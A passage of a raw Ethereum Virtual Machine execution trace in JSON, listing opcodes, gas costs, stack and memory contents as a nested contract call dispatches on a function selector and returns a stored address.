0000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":26,"op":"PUSH1","gas":118967,"gasCost":3,"depth":2,"stack":[],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":28,"op":"CALLDATALOAD","gas":118964,"gasCost":3,"depth":2,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":29,"op":"PUSH1","gas":118961,"gasCost":3,"depth":2,"stack":["0xbe1bd33100000000000000000000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":31,"op":"SHR","gas":118958,"gasCost":3,"depth":2,"stack":["0xbe1bd33100000000000000000000000000000000000000000000000000000000","0xe0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":32,"op":"DUP1","gas":118955,"gasCost":3,"depth":2,"stack":["0xbe1bd331"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":33,"op":"PUSH4","gas":118952,"gasCost":3,"depth":2,"stack":["0xbe1bd331","0xbe1bd331"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":38,"op":"GT","gas":118949,"gasCost":3,"depth":2,"stack":["0xbe1bd331","0xbe1bd331","0xb30ebecd"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":39,"op":"PUSH2","gas":118946,"gasCost":3,"depth":2,"stack":["0xbe1bd331","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":42,"op":"JUMPI","gas":118943,"gasCost":10,"depth":2,"stack":["0xbe1bd331","0x0","0x76"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":43,"op":"DUP1","gas":118933,"gasCost":3,"depth":2,"stack":["0xbe1bd331"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":44,"op":"PUSH4","gas":118930,"gasCost":3,"depth":2,"stack":["0xbe1bd331","0xbe1bd331"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":49,"op":"GT","gas":118927,"gasCost":3,"depth":2,"stack":["0xbe1bd331","0xbe1bd331","0xc79c4c62"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":50,"op":"PUSH2","gas":118924,"gasCost":3,"depth":2,"stack":["0xbe1bd331","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":53,"op":"JUMPI","gas":118921,"gasCost":10,"depth":2,"stack":["0xbe1bd331","0x1","0x5b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":91,"op":"JUMPDEST","gas":118911,"gasCost":1,"depth":2,"stack":["0xbe1bd331"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":92,"op":"DUP1","gas":118910,"gasCost":3,"depth":2,"stack":["0xbe1bd331"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":93,"op":"PUSH4","gas":118907,"gasCost":3,"depth":2,"stack":["0xbe1bd331","0xbe1bd331"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":98,"op":"EQ","gas":118904,"gasCost":3,"depth":2,"stack":["0xbe1bd331","0xbe1bd331","0xb30ebecd"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":99,"op":"PUSH2","gas":118901,"gasCost":3,"depth":2,"stack":["0xbe1bd331","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":102,"op":"JUMPI","gas":118898,"gasCost":10,"depth":2,"stack":["0xbe1bd331","0x0","0x15d"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":103,"op":"DUP1","gas":118888,"gasCost":3,"depth":2,"stack":["0xbe1bd331"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":104,"op":"PUSH4","gas":118885,"gasCost":3,"depth":2,"stack":["0xbe1bd331","0xbe1bd331"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":109,"op":"EQ","gas":118882,"gasCost":3,"depth":2,"stack":["0xbe1bd331","0xbe1bd331","0xbe1bd331"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":110,"op":"PUSH2","gas":118879,"gasCost":3,"depth":2,"stack":["0xbe1bd331","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":113,"op":"JUMPI","gas":118876,"gasCost":10,"depth":2,"stack":["0xbe1bd331","0x1","0x172"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":370,"op":"JUMPDEST","gas":118866,"gasCost":1,"depth":2,"stack":["0xbe1bd331"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":371,"op":"PUSH1","gas":118865,"gasCost":3,"depth":2,"stack":["0xbe1bd331"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":373,"op":"SLOAD","gas":118862,"gasCost":2100,"depth":2,"stack":["0xbe1bd331","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":374,"op":"PUSH2","gas":116762,"gasCost":3,"depth":2,"stack":["0xbe1bd331","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":377,"op":"SWAP1","gas":116759,"gasCost":3,"depth":2,"stack":["0xbe1bd331","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0xd6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":378,"op":"PUSH1","gas":116756,"gasCost":3,"depth":2,"stack":["0xbe1bd331","0xd6","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":380,"op":"PUSH1","gas":116753,"gasCost":3,"depth":2,"stack":["0xbe1bd331","0xd6","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":382,"op":"PUSH1","gas":116750,"gasCost":3,"depth":2,"stack":["0xbe1bd331","0xd6","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":384,"op":"SHL","gas":116747,"gasCost":3,"depth":2,"stack":["0xbe1bd331","0xd6","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":385,"op":"SUB","gas":116744,"gasCost":3,"depth":2,"stack":["0xbe1bd331","0xd6","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":386,"op":"AND","gas":116741,"gasCost":3,"depth":2,"stack":["0xbe1bd331","0xd6","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":387,"op":"DUP2","gas":116738,"gasCost":3,"depth":2,"stack":["0xbe1bd331","0xd6","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":388,"op":"JUMP","gas":116735,"gasCost":8,"depth":2,"stack":["0xbe1bd331","0xd6","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0xd6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":214,"op":"JUMPDEST","gas":116727,"gasCost":1,"depth":2,"stack":["0xbe1bd331","0xd6","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":215,"op":"PUSH1","gas":116726,"gasCost":3,"depth":2,"stack":["0xbe1bd331","0xd6","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":217,"op":"MLOAD","gas":116723,"gasCost":3,"depth":2,"stack":["0xbe1bd331","0xd6","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":218,"op":"PUSH1","gas":116720,"gasCost":3,"depth":2,"stack":["0xbe1bd331","0xd6","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":220,"op":"PUSH1","gas":116717,"gasCost":3,"depth":2,"stack":["0xbe1bd331","0xd6","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0x80","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":222,"op":"PUSH1","gas":116714,"gasCost":3,"depth":2,"stack":["0xbe1bd331","0xd6","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0x80","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":224,"op":"SHL","gas":116711,"gasCost":3,"depth":2,"stack":["0xbe1bd331","0xd6","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0x80","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":225,"op":"SUB","gas":116708,"gasCost":3,"depth":2,"stack":["0xbe1bd331","0xd6","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0x80","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":226,"op":"SWAP1","gas":116705,"gasCost":3,"depth":2,"stack":["0xbe1bd331","0xd6","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0x80","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":227,"op":"SWAP2","gas":116702,"gasCost":3,"depth":2,"stack":["0xbe1bd331","0xd6","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0xffffffffffffffffffffffffffffffffffffffff","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":228,"op":"AND","gas":116699,"gasCost":3,"depth":2,"stack":["0xbe1bd331","0xd6","0x80","0xffffffffffffffffffffffffffffffffffffffff","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":229,"op":"DUP2","gas":116696,"gasCost":3,"depth":2,"stack":["0xbe1bd331","0xd6","0x80","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":230,"op":"MSTORE","gas":116693,"gasCost":9,"depth":2,"stack":["0xbe1bd331","0xd6","0x80","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":231,"op":"PUSH1","gas":116684,"gasCost":3,"depth":2,"stack":["0xbe1bd331","0xd6","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":233,"op":"ADD","gas":116681,"gasCost":3,"depth":2,"stack":["0xbe1bd331","0xd6","0x80","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":234,"op":"JUMPDEST","gas":116678,"gasCost":1,"depth":2,"stack":["0xbe1bd331","0xd6","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":235,"op":"PUSH1","gas":116677,"gasCost":3,"depth":2,"stack":["0xbe1bd331","0xd6","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":237,"op":"MLOAD","gas":116674,"gasCost":3,"depth":2,"stack":["0xbe1bd331","0xd6","0xa0","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":238,"op":"DUP1","gas":116671,"gasCost":3,"depth":2,"stack":["0xbe1bd331","0xd6","0xa0","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":239,"op":"SWAP2","gas":116668,"gasCost":3,"depth":2,"stack":["0xbe1bd331","0xd6","0xa0","0x80","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":240,"op":"SUB","gas":116665,"gasCost":3,"depth":2,"stack":["0xbe1bd331","0xd6","0x80","0x80","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":241,"op":"SWAP1","gas":116662,"gasCost":3,"depth":2,"stack":["0xbe1bd331","0xd6","0x80","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":242,"op":"RETURN","gas":116659,"gasCost":0,"depth":2,"stack":["0xbe1bd331","0xd6","0x20","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2213,"op":"ISZERO","gas":118548,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xbe1bd331","0x84","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2214,"op":"DUP1","gas":118545,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xbe1bd331","0x84","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2215,"op":"ISZERO","gas":118542,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xbe1bd331","0x84","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2216,"op":"PUSH2","gas":118539,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xbe1bd331","0x84","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2219,"op":"JUMPI","gas":118536,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xbe1bd331","0x84","0x0","0x1","0x8b5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2229,"op":"JUMPDEST","gas":118526,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xbe1bd331","0x84","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2230,"op":"POP","gas":118525,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xbe1bd331","0x84","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2231,"op":"POP","gas":118523,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xbe1bd331","0x84"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2232,"op":"POP","gas":118521,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xbe1bd331"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2233,"op":"POP","gas":118519,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2234,"op":"PUSH1","gas":118517,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2236,"op":"MLOAD","gas":118514,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2237,"op":"RETURNDATASIZE","gas":118511,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2238,"op":"PUSH1","gas":118509,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x80","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2240,"op":"NOT","gas":118506,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x80","0x20","0x1f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2241,"op":"PUSH1","gas":118503,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x80","0x20","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2243,"op":"DUP3","gas":118500,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x80","0x20","0xfffffffffffffffffffffffffffffffffffffff